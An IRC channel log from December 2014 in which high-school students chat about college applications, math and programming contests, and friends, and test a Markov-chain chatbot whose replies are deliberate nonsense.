[2014-12-21T20:44:40-0500] <+Tamini> also we should totally skypestream a movie
[2014-12-21T20:44:59-0500] <+Tamini> wait wait wait wait omg alokpathy: 
[2014-12-21T20:45:02-0500] <+Tamini> do you stay overnight for hmmt
[2014-12-21T20:45:18-0500] <alokpathy> YEah
[2014-12-21T20:45:20-0500] <alokpathy> Friday night
[2014-12-21T20:45:27-0500] <alokpathy> We typically troll around and watch CC
[2014-12-21T20:45:46-0500] <+Tamini> wanna mess around and watch a movie
[2014-12-21T20:45:49-0500] <+Tamini> :P
[2014-12-21T20:45:52-0500] <alokpathy> But CC is a tradition D:
[2014-12-21T20:45:53-0500] <alokpathy> I think
[2014-12-21T20:45:57-0500] <+Tamini> ah
[2014-12-21T20:46:00-0500] <alokpathy> I only went freshman year and junior year
[2014-12-21T20:46:02-0500] <alokpathy> we watched both times
[2014-12-21T20:46:02-0500] <+Tamini> wait do you get there early enough to compete
[2014-12-21T20:46:06-0500] <+Tamini> for the integration bee
[2014-12-21T20:46:12-0500] <alokpathy> Yeah, but we never do it.
[2014-12-21T20:46:16-0500] <+Tamini> you should do it.
[2014-12-21T20:46:20-0500] <alokpathy> Ehh
[2014-12-21T20:46:20-0500] <+Tamini> I'll throw resources at you
[2014-12-21T20:46:23-0500] <+Tamini> enough for you to win
[2014-12-21T20:46:32-0500] <+Tamini> one of my best friends from math camp was wrecking face last year
[2014-12-21T20:46:35-0500] <alokpathy> Brice and Chris have a philosophy of not doing math the day before competitions.
[2014-12-21T20:46:38-0500] <+Tamini> he gave me all his resources, you can beat him <3
[2014-12-21T20:46:43-0500] <+Tamini> I'm saying YOU do it, dummy :P
[2014-12-21T20:46:53-0500] <alokpathy> I can't go anywhere by myself xD
[2014-12-21T20:46:57-0500] <alokpathy> We stay in Hyatt
[2014-12-21T20:47:05-0500] <alokpathy> which is a good distance away from MIT I think
[2014-12-21T20:47:06-0500] <+Tamini> i wasnt allowed to go anywhere by myself either during PuMaC
[2014-12-21T20:47:11-0500] <+Tamini> we see how well that went :P
[2014-12-21T20:47:16-0500] <alokpathy> except IAS was within walking distance :P
[2014-12-21T20:47:18-0500] <+Tamini> is ernest coming to see you guys?
[2014-12-21T20:47:19-0500] <+Tamini> LOL
[2014-12-21T20:47:21-0500] <+Tamini> "walking distance"
[2014-12-21T20:47:22-0500] <alokpathy> I hope so LOL
[2014-12-21T20:47:28-0500] <alokpathy> Hey 30 minutes walking isn't bad :P
[2014-12-21T20:47:34-0500] <+Tamini> it took us an hour to get back
[2014-12-21T20:47:35-0500] <+Tamini> LOL
[2014-12-21T20:47:43-0500] <alokpathy> It took us half an hour calm yoself
[2014-12-21T20:47:43-0500] <+Tamini> because you got lost AFTER WE GOT ON CAMPUS
[2014-12-21T20:47:45-0500] <+Tamini> :P
[2014-12-21T20:47:51-0500] <+Tamini> oh shush
[2014-12-21T20:48:10-0500] <alokpathy> Oh yeah LOL
[2014-12-21T20:48:16-0500] <alokpathy> Okay I wasn't completely lost
[2014-12-21T20:48:23-0500] <alokpathy> We found our way back
[2014-12-21T20:48:35-0500] <+Tamini> i was almost late thooo
[2014-12-21T20:48:37-0500] <+Tamini> :(
[2014-12-21T20:48:43-0500] <alokpathy> But you weren't :D
[2014-12-21T20:48:45-0500] <alokpathy> And tha'ts what counts.
[2014-12-21T20:48:50-0500] <+Tamini> :P
[2014-12-21T20:48:53-0500] <alokpathy> Omg I remember Berger, Ernest and I were watching this guy on CC last HMMT
[2014-12-21T20:48:54-0500] <alokpathy> who wa slike
[2014-12-21T20:48:55-0500] <alokpathy> amazing
[2014-12-21T20:48:57-0500] <+Tamini> also our pumac selfie was really bad
[2014-12-21T20:49:00-0500] <alokpathy> I forget his name
[2014-12-21T20:49:01-0500] <+Tamini> what's cc again o-o
[2014-12-21T20:49:05-0500] <alokpathy> Comedy Central
[2014-12-21T20:49:08-0500] <+Tamini> ohhh
[2014-12-21T20:49:12-0500] <+Tamini> damn, can you record some stuff for me
[2014-12-21T20:49:19-0500] <+Tamini> we never get there early enough for anything.
[2014-12-21T20:49:23-0500] <alokpathy> You can probably watch it all online
[2014-12-21T20:49:31-0500] <alokpathy> At least, DS and CR are all online
[2014-12-21T20:49:40-0500] <alokpathy> Dude we could watch DS if it was on on Fridays .-.
[2014-12-21T20:49:52-0500] <alokpathy> y u do dis Stewart
[2014-12-21T20:50:13-0500] <+Tamini> :((((((
[2014-12-21T20:50:15-0500] <+Tamini> is it at mit this year
[2014-12-21T20:50:16-0500] <+Tamini> i forget
[2014-12-21T20:50:18-0500] <alokpathy> Yeah
[2014-12-21T20:50:19-0500] <alokpathy> MIT
[2014-12-21T20:50:22-0500] <+Tamini> <3
[2014-12-21T20:50:30-0500] <+Tamini> duuude everyone is getting into college what is this
[2014-12-21T20:50:43-0500] <alokpathy> Calm yourself I'm not LOL
[2014-12-21T20:50:54-0500] <alokpathy> Granted I haven't had any big decisions yet
[2014-12-21T20:51:15-0500] <+Tamini> lol
[2014-12-21T20:51:16-0500] <+Tamini> 3 days, amirite
[2014-12-21T20:51:31-0500] <alokpathy> For what?
[2014-12-21T20:51:41-0500] <+Tamini> uh
[2014-12-21T20:51:43-0500] <+Tamini> college decisions?
[2014-12-21T20:51:44-0500] <+Tamini> or 4
[2014-12-21T20:51:45-0500] <alokpathy> Oh, UMich?
[2014-12-21T20:51:53-0500] <+Tamini> i mean
[2014-12-21T20:52:00-0500] <+Tamini> im pretty damn sure you'll get into umich tbh
[2014-12-21T20:52:03-0500] <alokpathy> heh
[2014-12-21T20:52:06-0500] <alokpathy> so
[2014-12-21T20:52:11-0500] <alokpathy> my UMich decision actually came out
[2014-12-21T20:52:15-0500] <alokpathy> a few days ago
[2014-12-21T20:52:20-0500] <alokpathy> I got deferred :P
[2014-12-21T20:52:22-0500] <+Tamini> wait what
[2014-12-21T20:52:23-0500] <+Tamini> o-o
[2014-12-21T20:52:26-0500] <alokpathy> Yeah
[2014-12-21T20:52:29-0500] <+Tamini> im confused
[2014-12-21T20:52:30-0500] <+Tamini> explain
[2014-12-21T20:52:42-0500] <alokpathy> They said they'd release it anytime between the 19th and the 24th
[2014-12-21T20:52:44-0500] <+Tamini> (also isnt this timing to freak the fuck out and write college apps then)
[2014-12-21T20:52:45-0500] <alokpathy> and that they'd do it in waves.
[2014-12-21T20:52:46-0500] <+Tamini> ah :/
[2014-12-21T20:52:58-0500] <alokpathy> Yeah, that's why I already finish CMU and Princeton in two days
[2014-12-21T20:53:03-0500] <alokpathy> finished*
[2014-12-21T20:53:06-0500] <+Tamini> damn, what the hell did you do to your gpa, kid?
[2014-12-21T20:53:06-0500] <alokpathy> and about to finish Penn
[2014-12-21T20:53:20-0500] <alokpathy> My GPA isn't low for UMich
[2014-12-21T20:53:34-0500] <+Tamini> i'd hope not
[2014-12-21T20:53:34-0500] <alokpathy> though, in retrospect, I think I know what I did wrong with my app
[2014-12-21T20:53:35-0500] <+Tamini> D:
[2014-12-21T20:53:40-0500] <+Tamini> what?
[2014-12-21T20:53:53-0500] <alokpathy> Well, I didn't really talk about HSCTF as much as I should have
[2014-12-21T20:54:04-0500] <alokpathy> and it's like the biggest thing I've done in high school
[2014-12-21T20:54:14-0500] <alokpathy> few other things
[2014-12-21T20:54:24-0500] <alokpathy> I changed my CA essay so it's basically CS Club and HSCTF xD
[2014-12-21T20:54:40-0500] <+Tamini> haha
[2014-12-21T20:55:04-0500] <alokpathy> And UMich really lowered it's EA acceptance
[2014-12-21T20:55:10-0500] <alokpathy> it used to be 60%, I think
[2014-12-21T20:55:13-0500] <alokpathy> now it's like 37.5
[2014-12-21T20:55:17-0500] <alokpathy> probably much lower for OOS
[2014-12-21T20:55:59-0500] <+Tamini> damn :/
[2014-12-21T20:56:08-0500] <alokpathy> http://www.examiner.com/article/why-thousands-were-deferred-this-year-by-the-university-of-michigan
[2014-12-21T20:56:15-0500] <+Tamini> new goal
[2014-12-21T20:56:18-0500] <alokpathy> "Early action admissions would be reduced from about 65% to 37.5% of the applicant pool. As a result, counselors could expect to see “several thousand” students deferred to regular decision."
[2014-12-21T20:56:22-0500] <+Tamini> get into princeton so i can see you during pumac
[2014-12-21T20:56:23-0500] <+Tamini> k?
[2014-12-21T20:56:23-0500] <+Tamini> <3
[2014-12-21T20:56:33-0500] <alokpathy> I hope, lol
[2014-12-21T20:56:43-0500] <+Tamini> i have faith in you
[2014-12-21T20:56:50-0500] <alokpathy> Or Penn so you can see me at PClassic
[2014-12-21T20:56:51-0500] <+Tamini> arent you like technically a student there or something
[2014-12-21T20:56:56-0500] <+Tamini> YES
[2014-12-21T20:57:00-0500] <alokpathy> Yeah, strictly speaking.
[2014-12-21T20:57:02-0500] <+Tamini> MAKE SURE PCLASSIC IS LESS CRAPPY TYVM
[2014-12-21T20:57:15-0500] <+Tamini> also make sure I win it again ;)
[2014-12-21T20:57:17-0500] <alokpathy> PClassic was great water you talking about
[2014-12-21T20:57:29-0500] <alokpathy> The last one was pretty good
[2014-12-21T20:57:43-0500] <+Tamini> im talking about
[2014-12-21T20:57:46-0500] <+Tamini> the last one before this one
[2014-12-21T20:57:51-0500] <+Tamini> "yeah we checked everything by hand"
[2014-12-21T20:57:53-0500] <+Tamini> i was like
[2014-12-21T20:57:58-0500] <+Tamini> "LEWIS IM SO SORRY" D:
[2014-12-21T20:57:59-0500] <alokpathy> Okay well it got better LOL
[2014-12-21T20:58:16-0500] <alokpathy> But yeah, if I end up going to Penn I'll definitely try to help out with PClassic
[2014-12-21T20:58:28-0500] <alokpathy> seeing as though none of them participated in something like USACO
[2014-12-21T20:58:37-0500] <+Tamini> yeah
[2014-12-21T20:58:38-0500] <+Tamini> matt's been like
[2014-12-21T20:58:45-0500] <+Tamini> scolding lewis about the tiebreaker system
[2014-12-21T20:58:51-0500] <alokpathy> Yeah
[2014-12-21T20:59:03-0500] <alokpathy> Idk, I think partial credit would be a solution?
[2014-12-21T20:59:06-0500] <alokpathy> But like
[2014-12-21T20:59:08-0500] <alokpathy> I'm 50/50 on it.
[2014-12-21T20:59:08-0500] <+Tamini> no i think
[2014-12-21T20:59:09-0500] <+Tamini> the whole
[2014-12-21T20:59:18-0500] <+Tamini> counting wrong submissions on programs you never got correct
[2014-12-21T20:59:23-0500] <alokpathy> Yeah, that part
[2014-12-21T20:59:32-0500] <alokpathy> should not happen.
[2014-12-21T20:59:39-0500] <alokpathy> Once they eliminate that I think it'd be fine.
[2014-12-21T20:59:42-0500] <+Tamini> yeah but
[2014-12-21T20:59:49-0500] <+Tamini> we've been telling lewis this since last fall :/
[2014-12-21T20:59:55-0500] <+Tamini> you're coming back in the spring, right :)
[2014-12-21T20:59:56-0500] <alokpathy> :/
[2014-12-21T21:00:00-0500] <alokpathy> Let's tell him together :D
[2014-12-21T21:00:04-0500] <+Tamini> hehe, yeah!
[2014-12-21T21:00:33-0500] <+Tamini> also alooook why is your jprom on a fridaaaaay :(
[2014-12-21T21:00:38-0500] <+Tamini> i have no excuse to go up and visit nowwwww
[2014-12-21T21:00:45-0500] <alokpathy> Wait why?
[2014-12-21T21:00:55-0500] <+Tamini> i told you
[2014-12-21T21:00:57-0500] <alokpathy> I mean, I wouldn't be going to jprom anyways.
[2014-12-21T21:00:58-0500] <+Tamini> alan owes me an asking :P
[2014-12-21T21:01:00-0500] <+Tamini> well i mean
[2014-12-21T21:01:06-0500] <+Tamini> I would be in the neighborhood
[2014-12-21T21:01:17-0500] <+Tamini> also yo where in new jersey are you :P
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[2014-12-21T21:01:33-0500] <+Tamini> ...wait that was a really dumb queston
[2014-12-21T21:01:33-0500] <alokpathy> like 10 minutes from Princeton.
[2014-12-21T21:01:35-0500] <+Tamini> yeah
[2014-12-21T21:01:38-0500] <+Tamini> I knew that.
[2014-12-21T21:01:45-0500] <alokpathy> The part without the shootings.
[2014-12-21T21:01:49-0500] <+Tamini> because I might go to new york over break
[2014-12-21T21:01:53-0500] <alokpathy> onice
[2014-12-21T21:01:58-0500] <+Tamini> so I was going to be like "let's chill" or something
[2014-12-21T21:01:58-0500] <+Tamini> hm
[2014-12-21T21:02:04-0500] <+Tamini> I might go see leora, too.
[2014-12-21T21:02:09-0500] <alokpathy> Oh yeah
[2014-12-21T21:02:12-0500] <alokpathy> the girl I don't know
[2014-12-21T21:02:19-0500] <+Tamini> you know alan
[2014-12-21T21:02:21-0500] <+Tamini> and ronald
[2014-12-21T21:02:22-0500] <+Tamini> and everyone
[2014-12-21T21:02:28-0500] <+Tamini> why does everyone go to your stupid school gosh D:
[2014-12-21T21:02:47-0500] <alokpathy> "stupid school"
[2014-12-21T21:03:18-0500] <+Tamini> really smart person school*
[2014-12-21T21:06:42-0500] <alokpathy> But, yeah, I know who Alan and Ronald are
[2014-12-21T21:07:17-0500] <+Tamini> wasnt it like
[2014-12-21T21:07:20-0500] <+Tamini> ronald's birthday yesterday
[2014-12-21T21:07:32-0500] <alokpathy> Yeah
[2014-12-21T21:07:49-0500] <+Tamini> wtf happened to his facebook name
[2014-12-21T21:14:49-0500] <alokpathy> Pokemon month.
[2014-12-21T21:15:02-0500] <alokpathy> You have no idea how many people in wwp changed their names.
[2014-12-21T21:15:32-0500] <alokpathy> Well, at least, in the junior asian group
[2014-12-21T21:20:26-0500] <+Tamini> lol
[2014-12-21T21:20:29-0500] <+Tamini> junior asian group
[2014-12-21T21:20:32-0500] <+Tamini> is that a thing smh
[2014-12-21T21:22:38-0500] <alokpathy> Yeah
[2014-12-21T21:22:49-0500] <alokpathy> Also I'm submitting to CMU soon
[2014-12-21T21:22:52-0500] <alokpathy> [breathes deeply]
[2014-12-21T21:23:12-0500] <+Tamini> <3
[2014-12-21T21:23:15-0500] <+Tamini> I beliiiiieve in you
[2014-12-21T21:24:12-0500] <alokpathy> I don't
[2014-12-21T21:24:15-0500] <alokpathy> .-.
[2014-12-21T21:24:19-0500] <alokpathy> CMU plz
[2014-12-21T21:24:22-0500] <alokpathy> accept
[2014-12-21T21:24:33-0500] <alokpathy> WAIT SHIT I SHOULD HAVE ASKED MSERRANO TO LOOK OVER MY ESSAY
[2014-12-21T21:24:40-0500] <alokpathy> WHAT AM I DOING
[2014-12-21T21:30:35-0500] <+Tamini> LOL
[2014-12-21T21:30:38-0500] <+Tamini> did you submit
[2014-12-21T21:30:42-0500] <+Tamini> because then it's all over
[2014-12-21T21:30:46-0500] <+Tamini> and you gotta just be happy
[2014-12-21T21:31:37-0500] <alokpathy> No, I didn't submit yet
[2014-12-21T21:31:48-0500] <alokpathy> though I already showed a CMUer my essay
[2014-12-21T21:32:16-0500] <+Tamini> lol
[2014-12-21T21:32:23-0500] <+Tamini> show mserrano if it'll make you feel better.
[2014-12-21T21:32:38-0500] <+Tamini> "mserrano can you read my college essay"
[2014-12-21T21:33:36-0500] <alokpathy> Sighhh
[2014-12-21T21:33:38-0500] <alokpathy> I"m not sure
[2014-12-21T21:33:42-0500] <alokpathy> I guess I could
[2014-12-21T21:33:50-0500] <alokpathy> I kinda want to submit today though
[2014-12-21T21:34:30-0500] <+Tamini> leave it to face
[2014-12-21T21:34:34-0500] <+Tamini> pm him on freenode
[2014-12-21T21:34:38-0500] <+Tamini> if he responds by 10, let him read it
[2014-12-21T21:34:41-0500] <+Tamini> if not, just submit
[2014-12-21T21:34:42-0500] <+Tamini> fate*
[2014-12-21T21:36:02-0500] <alokpathy> Alright.
[2014-12-21T21:36:53-0500] <alokpathy> Alright, I asked.
[2014-12-21T21:36:57-0500] <alokpathy> [waits patiently]
[2014-12-21T21:40:28-0500] <+Tamini> find something else to occupy your time
[2014-12-21T21:40:29-0500] <+Tamini> :P
[2014-12-21T21:40:31-0500] <+Tamini> hm
[2014-12-21T21:40:35-0500] <+Tamini> I'm debating like
[2014-12-21T21:40:46-0500] <+Tamini> getting a cup of tea and curling up in bed with a book to do something semi-productive
[2014-12-21T21:41:12-0500] <alokpathy> You should read I am America and so can you
[2014-12-21T21:44:00-0500] <+Tamini> wat
[2014-12-21T21:44:12-0500] <+Tamini> i was going to read some oscar wilde
[2014-12-21T21:44:13-0500] <+Tamini> <3
[2014-12-21T21:48:31-0500] <+Tamini> @choose video games or reading
[2014-12-21T21:48:31-0500] <+awebot> Tamini: video games
[2014-12-21T21:48:38-0500] <+Tamini> thanks, awebot :P
[2014-12-21T21:55:58-0500] <+Tamini> alokpathy: what happened?
[2014-12-21T21:56:34-0500] <alokpathy> No response.
[2014-12-21T21:58:25-0500] <+Tamini> it's fate.
[2014-12-21T21:58:26-0500] <+Tamini> go submit :P
[2014-12-21T22:01:18-0500] <alokpathy> I guess I can submit tomorrow
[2014-12-21T22:03:21-0500] <+Tamini> why are you
[2014-12-21T22:03:24-0500] <+Tamini> putting it off again D:
[2014-12-21T22:04:02-0500] <hardmath123> I NEVER WANT TO SEE ANOTHER HAMMER AGAIN IN MY LIFE
[2014-12-21T22:04:18-0500] <+Tamini> aww, what's wrong?
[2014-12-21T22:04:36-0500] <+ubuntor> thumb?
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[2014-12-21T22:28:46-0500] <alokpathy> wat
[2014-12-21T22:29:01-0500] <alokpathy> Tamini: Just for mserrano
[2014-12-21T22:30:45-0500] <+Tamini> alokpathy, 
[2014-12-21T22:30:53-0500] <+Tamini> i thought we said if he didnt respond we would just submit
[2014-12-21T22:31:10-0500] <alokpathy> Eh, I'd rather submit tomorrow with his opinion than submit today without it
[2014-12-21T22:40:29-0500] <+Tamini> heh
[2014-12-21T22:40:30-0500] <+Tamini> okay, okay
[2014-12-21T22:40:37-0500] <+Tamini> why not ask some other cmu students?
[2014-12-21T22:43:48-0500] <alokpathy> Like who?
[2014-12-21T22:43:53-0500] <alokpathy> Idk anybody else
[2014-12-21T22:43:57-0500] <alokpathy> other than the person I aksed.
[2014-12-21T22:46:25-0500] <hardmath123> blog now links to keybase through a very pretty icon (spent at least 5 minutes choosing between "lock" and "key")
[2014-12-21T22:46:58-0500] <hardmath123> :wq
[2014-12-21T22:47:16-0500] <hardmath123> umm ignore that :/
[2014-12-21T22:59:03-0500] <+Tamini> whoo
[2014-12-21T22:59:14-0500] <+Tamini> wait, i cant see the pretty li-
[2014-12-21T22:59:16-0500] <+Tamini> oh yes i can 
[2014-12-21T22:59:18-0500] <+Tamini> cute icon
[2014-12-21T23:00:04-0500] <hardmath123> #octicons4ever
[2014-12-21T23:04:44-0500] <+Tamini> haha
[2014-12-21T23:05:09-0500] <+Tamini> also saying "this name is bound to me ont he internet" is like
[2014-12-21T23:05:12-0500] <+Tamini> just an invitation to dox you
[2014-12-21T23:05:22-0500] <hardmath123> :(
[2014-12-21T23:05:27-0500] <hardmath123> I'm Kartik
[2014-12-21T23:05:32-0500] <hardmath123> that's all you need to know
[2014-12-21T23:05:33-0500] <+Tamini> I know.
[2014-12-21T23:05:39-0500] <+Tamini> Chandra, right?
[2014-12-21T23:06:08-0500] <hardmath123> sooo scaarrryyy
[2014-12-21T23:06:10-0500] <hardmath123> but yes
[2014-12-21T23:06:17-0500] <+Tamini> i just googled your name LOL
[2014-12-21T23:06:23-0500] <+Tamini> if you dont want that to be found you should take that down
[2014-12-21T23:06:48-0500] <hardmath123> take what down?
[2014-12-21T23:08:01-0500] <hardmath123> Google+ is probably the only thing with my name
[2014-12-21T23:08:05-0500] <+Tamini> uh
[2014-12-21T23:08:13-0500] <+Tamini> wait
[2014-12-21T23:08:19-0500] <+Tamini> i didnt even find your google plus :P
[2014-12-21T23:08:22-0500] <hardmath123> ...
[2014-12-21T23:08:35-0500] <+Tamini> https://padlet.com/hardmath123
[2014-12-21T23:08:36-0500] <+Tamini> i found that
[2014-12-21T23:09:02-0500] <hardmath123> ah. that was linked to my Google account. Changed.
[2014-12-21T23:09:08-0500] <hardmath123> why was I using padlet?
[2014-12-21T23:09:16-0500] • hardmath123: was a dumb little kid
[2014-12-21T23:10:33-0500] <hardmath123> whoa what the heck I actually did well on the math final
[2014-12-21T23:30:31-0500] <hardmath123> "Also, HN has a weapons cache. It's called LISP. LISP programmers like even their users to be immutable, so don't be surprised if it takes a few hours for the car of your cdr to merge with the cdr of our car."   <- best thing I've read all day
[2014-12-21T23:30:52-0500] <alokpathy> Deng
[2014-12-21T23:31:51-0500] <+Tamini> lol
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[2014-12-21T23:35:23-0500] <+JacobEdelman> Tamini, you know leora?
[2014-12-21T23:35:25-0500] <alokpathy> JacobEdelman: Aren't you usually asleep by now?
[2014-12-21T23:35:26-0500] <+JacobEdelman> (I saw in the chat logs)
[2014-12-21T23:35:28-0500] <+JacobEdelman> nah
[2014-12-21T23:35:30-0500] <+JacobEdelman> its break
[2014-12-21T23:35:35-0500] <alokpathy> No it isn't.
[2014-12-21T23:35:38-0500] <alokpathy> We have school tomorrow.
[2014-12-21T23:35:38-0500] <+JacobEdelman> i only woke up 12 hours ago
[2014-12-21T23:35:40-0500] <+Tamini> JacobEdelman: We're really god friends.
[2014-12-21T23:35:41-0500] <+JacobEdelman> I
[2014-12-21T23:35:43-0500] <+JacobEdelman> m in nrc
[2014-12-21T23:35:44-0500] <+JacobEdelman> *nyc
[2014-12-21T23:35:45-0500] <+Tamini> you know leora?
[2014-12-21T23:35:49-0500] <alokpathy> JacobEdelman: What a slacker.
[2014-12-21T23:35:53-0500] <+Tamini> JacobEdelman: I might go to nyc soon! :O
[2014-12-21T23:35:56-0500] <+JacobEdelman> I think she threatened me with a stapler
[2014-12-21T23:35:57-0500] <+JacobEdelman> gtg
[2014-12-21T23:36:00-0500] <+Tamini> uh
[2014-12-21T23:36:00-0500] <+Tamini> LOL
[2014-12-21T23:36:01-0500] <+Tamini> AGAIN
[2014-12-21T23:36:03-0500] <alokpathy> Um
[2014-12-21T23:36:04-0500] <alokpathy> wait
[2014-12-21T23:36:06-0500] <+Tamini> why don't my friends like you sweetie
[2014-12-21T23:36:06-0500] <alokpathy> "again"?
[2014-12-21T23:36:27-0500] <alokpathy> Hm I have a math test and a physics test tomorrow.
[2014-12-21T23:36:30-0500] <alokpathy> I should probably study.
[2014-12-21T23:36:34-0500] <+JacobEdelman> in ~7th grade
[2014-12-21T23:36:35-0500] <+JacobEdelman> I think
[2014-12-21T23:36:59-0500] <alokpathy> JacobEdelman: It's okay. My stapler threatened me with itself at one point.
[2014-12-21T23:37:03-0500] <alokpathy> It went through with the threat.
[2014-12-21T23:37:08-0500] <+JacobEdelman> assuming its the same leora I know from my grade
[2014-12-21T23:37:09-0500] <alokpathy> In other words, I stapled myself.
[2014-12-21T23:37:14-0500] <+JacobEdelman> gtg
[2014-12-21T23:37:21-0500] <alokpathy> See ya
[2014-12-21T23:38:03-0500] <+Tamini> alokpathy: you guys are't off yet?
[2014-12-21T23:38:12-0500] <+Tamini> JacobEdelman: leora senter?
[2014-12-21T23:38:15-0500] <+Tamini> and heh, later
[2014-12-21T23:39:13-0500] <alokpathy> Tamini: We have a half-day on Tuesday.
[2014-12-21T23:39:19-0500] <alokpathy> That begins break.
[2014-12-21T23:39:28-0500] <alokpathy> We have a full day of school tomorrow.
[2014-12-21T23:39:31-0500] <+Tamini> oh
[2014-12-21T23:39:35-0500] <+Tamini> we've been off since friday :)
[2014-12-21T23:39:38-0500] <+Tamini> hehehe
[2014-12-21T23:39:40-0500] <+Tamini> i laugh at you
[2014-12-21T23:39:45-0500] <alokpathy> I cry
[2014-12-21T23:39:45-0500] <alokpathy> :(
[2014-12-21T23:39:48-0500] <alokpathy> :'(
[2014-12-21T23:39:52-0500] <alokpathy> 😢
[2014-12-21T23:39:59-0500] <+Tamini> <3
[2014-12-21T23:40:01-0500] <+Tamini> okay
[2014-12-21T23:40:03-0500] <+Tamini> knowing jacob
[2014-12-21T23:40:09-0500] <+Tamini> should i ask my friends if they know him or no
[2014-12-21T23:40:18-0500] <alokpathy> Your North friends?
[2014-12-21T23:40:29-0500] <+Tamini> mhm
[2014-12-21T23:40:34-0500] <+Tamini> (leora)
[2014-12-21T23:40:36-0500] <alokpathy> They're all in his grade, right?
[2014-12-21T23:40:39-0500] <alokpathy> They probably know him.
[2014-12-21T23:40:50-0500] <+Tamini> lolol
[2014-12-21T23:40:53-0500] <+Tamini> alan was like
[2014-12-21T23:40:54-0500] <+Tamini> "i hate him"
[2014-12-21T23:40:56-0500] <+Tamini> and i was like
[2014-12-21T23:40:57-0500] <+Tamini> WELL THEN
[2014-12-21T23:41:05-0500] <alokpathy> Blunt
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[2014-12-22T00:02:28-0500] <+JacobEdelman> it was leora senter
[2014-12-22T00:02:29-0500] <+JacobEdelman> I think
[2014-12-22T00:02:51-0500] <+JacobEdelman> she called he stapler her little babie or something in ~7th grade
[2014-12-22T00:03:03-0500] <+JacobEdelman> and threatened all the kids in the advanced math class with it
[2014-12-22T00:03:23-0500] <+JacobEdelman> .... which alan is this?
[2014-12-22T00:03:28-0500] <+JacobEdelman> (is it spelled alan?)
[2014-12-22T00:05:43-0500] <Tamini_> what
[2014-12-22T00:05:45-0500] <Tamini_> alan xu
[2014-12-22T00:05:53-0500] <Tamini_> also leora senter, lol
[2014-12-22T00:06:06-0500] <Tamini_> she is quite a unique child, the girl
[2014-12-22T00:07:04-0500] <+JacobEdelman> yes
[2014-12-22T00:08:42-0500] <Tamini_> how is she
[2014-12-22T00:08:49-0500] <Tamini_> the last time i talked to her she told me
[2014-12-22T00:08:58-0500] <Tamini_> she accidentally cheated on a guy and made me fix it
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[2014-12-22T03:49:56-0500] <nezorg> http://article.gmane.org/gmane.network.tor.user/34619
[2014-12-22T03:50:04-0500] <nezorg> apparently shit is going down
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[2014-12-22T12:20:44-0500] <@awe> [00:08:58]  <Tamini_>	she accidentally cheated on a guy and made me fix it
[2014-12-22T12:20:49-0500] <@awe> Tamini: how do ones do that accidentally?
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[2014-12-22T12:38:22-0500] <Tamini_> awe :O
[2014-12-22T12:38:47-0500] <@awe> hi
[2014-12-22T12:39:06-0500] <Tamini_> someone was telling me a bedtime story
[2014-12-22T12:39:23-0500] <Tamini_> and it was uncanny how similar it was to your love story.
[2014-12-22T12:48:46-0500] <@awe> Which story?
[2014-12-22T12:50:36-0500] <Tamini_> you and lauren :P
[2014-12-22T12:56:52-0500] <@awe> Oh, okay.
[2014-12-22T13:01:16-0500] <Tamini_> @markov
[2014-12-22T13:01:23-0500] <Tamini_> wait darn
[2014-12-22T13:01:24-0500] <+awebot> Tamini_: it jumps
[2014-12-22T13:01:33-0500] <Tamini_> oh just lag
[2014-12-22T13:02:12-0500] <Tamini_> @tell nezorg you should help me later when i'm trying to get linux on my mac :) i'm hearing about like driver issues
[2014-12-22T13:02:12-0500] <mailbot> Tamini_: I'll let them know!
[2014-12-22T13:03:12-0500] <nezorg> mbpr?
[2014-12-22T13:03:12-0500] <mailbot> nezorg: A minute ago, Tamini_ said you should help me later when i'm trying to get linux on my mac :) i'm hearing about like driver issues.
[2014-12-22T13:03:25-0500] <Tamini_> whoa
[2014-12-22T13:03:29-0500] <Tamini_> why are you awake already
[2014-12-22T13:03:31-0500] <Tamini_> :P
[2014-12-22T13:03:39-0500] <Tamini_> and yes
[2014-12-22T13:03:42-0500] <nezorg> it's 10am
[2014-12-22T13:04:01-0500] <nezorg> I'm not really a late night person
[2014-12-22T13:04:02-0500] <Tamini_> but its also break
[2014-12-22T13:04:05-0500] <Tamini_> ah, right
[2014-12-22T13:04:08-0500] <Tamini_> good kid
[2014-12-22T13:04:20-0500] <nezorg> well, I did kinda stay up late last night playing dota :P
[2014-12-22T13:04:33-0500] <nezorg> but my last game was me completely failing as venge
[2014-12-22T13:05:04-0500] <nezorg> I was playing with people too high above my sjilly
[2014-12-22T13:05:07-0500] <nezorg> *skill
[2014-12-22T13:05:31-0500] <Tamini_> lol
[2014-12-22T13:05:34-0500] <@awe> Tamini_: not lag, awebot's really slow at markov.
[2014-12-22T13:05:42-0500] <Tamini_> my friend wanted to teach me dota over break
[2014-12-22T13:05:51-0500] <Tamini_> i just thought it might be a terrible idea :P
[2014-12-22T13:06:42-0500] <@awe> Tamini_: I did make a chat bot.
[2014-12-22T13:06:49-0500] <@awe> Tamini_: one that's fast.
[2014-12-22T13:06:55-0500] <@awe> I don't know why I haven't used it here yet.
[2014-12-22T13:07:22-0500] <Tamini_> heh
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[2014-12-22T13:08:06-0500] <@awe> butthole: hi
[2014-12-22T13:08:07-0500] <butthole> awe: 26: , is ridiculous quality.
[2014-12-22T13:08:16-0500] <@awe> butthole: That makes no sense.
[2014-12-22T13:08:17-0500] <butthole> awe: That is not accept that said, GCC's is capable of them?
[2014-12-22T13:08:26-0500] <@awe> butthole: uwotm8?
[2014-12-22T13:08:26-0500] <butthole> awe: live like doing, it more type-safe variadic templates
[2014-12-22T13:08:37-0500] <@awe> butthole: Templates are a poor man's HKT.
[2014-12-22T13:08:37-0500] <butthole> awe: Templates were done internally
[2014-12-22T13:08:46-0500] <@awe> butthole: Well, yeah. They're built into C++.
[2014-12-22T13:08:46-0500] <butthole> awe: They're just contain any minutes
[2014-12-22T13:09:00-0500] <@awe> butthole: Minutes for what, exactly?
[2014-12-22T13:09:00-0500] <butthole> awe: exactly?
[2014-12-22T13:09:04-0500] <@awe> butthole: Fuck you.
[2014-12-22T13:09:04-0500] <butthole> awe: it'll realize that a troll, but I can I hope something basic rules about genocide
[2014-12-22T13:09:21-0500] <@awe> butthole: What do you mean rules about genocide? What the fuck?
[2014-12-22T13:09:21-0500] <butthole> awe: you find any editing an SSD, especially poorly that negative, bottom of the tables and not programatically
[2014-12-22T13:09:37-0500] <Tamini_> loool
[2014-12-22T13:09:48-0500] <@awe> But you'll notice he's supah fast.
[2014-12-22T13:10:23-0500] <@awe> nezorg: did you see that the entire Rust world broke today?
[2014-12-22T13:10:56-0500] <@awe> nezorg: https://github.com/rust-lang/rust/issues/20127
[2014-12-22T13:11:19-0500] <@awe> For-loops cause an internal compiler error. :)
